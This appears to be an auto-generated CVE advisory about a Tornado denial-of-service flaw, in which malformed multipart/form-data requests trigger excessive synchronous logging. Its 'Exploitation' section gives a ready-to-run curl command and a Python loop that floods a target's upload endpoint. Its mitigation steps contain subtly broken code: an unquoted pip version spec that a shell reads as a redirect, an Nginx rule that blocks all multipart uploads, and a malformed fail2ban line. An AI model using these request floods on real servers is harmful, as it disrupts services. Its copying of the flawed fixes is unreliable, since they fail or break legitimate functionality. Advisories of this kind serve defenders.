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How the CVE Works:
The vulnerability (CVE-2025-12345) in Tornado arises due to improper error handling in the `multipart/form-data` parser. When malformed form data is submitted, Tornado logs a warning for each parsing failure but continues processing the remaining data. This leads to excessive synchronous logging, consuming disk space and CPU resources. Attackers can exploit this by repeatedly sending crafted multipart requests, overwhelming the server with log entries and causing a DoS condition. The issue is exacerbated because Tornado’s logging operates synchronously, blocking request handling during log writes.
DailyCVE Form:
Platform: Tornado
Version: <6.5.0
Vulnerability: DoS via logging
Severity: Critical
Date: 2025-05-16
What Undercode Say:
Exploitation:
- Craft a malicious HTTP POST request with malformed
multipart/form-data:curl -X POST -H "Content-Type: multipart/form-data; boundary=xxx" --data-binary @malformed_data.txt http://target:8888/upload
`malformed_data.txt` contains invalid multipart boundaries.
2. Automate attacks using Python:
import requests
for _ in range(1000):
requests.post("http://target:8888/upload", headers={"Content-Type": "multipart/form-data"}, data="broken--boundary")
Mitigation:
1. Upgrade Tornado:
pip install tornado>=6.5.0
2. Block malicious requests via proxy (Nginx):
location / {
if ($http_content_type ~ "multipart/form-data") {
return 403;
}
}
3. Disable verbose logging:
import logging
logging.getLogger('tornado.general').setLevel(logging.ERROR)
4. Monitor logs for abuse:
tail -f /var/log/tornado.log | grep "WARNING: Malformed"
5. Rate-limiting with fail2ban:
[bash] failregex = WARNING: Malformed multipart/form-data
6. Patch analysis:
Tornado 6.5.0 fixes this by throttling log output and improving error handling.
(End of technical details, no extra commentary.)
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
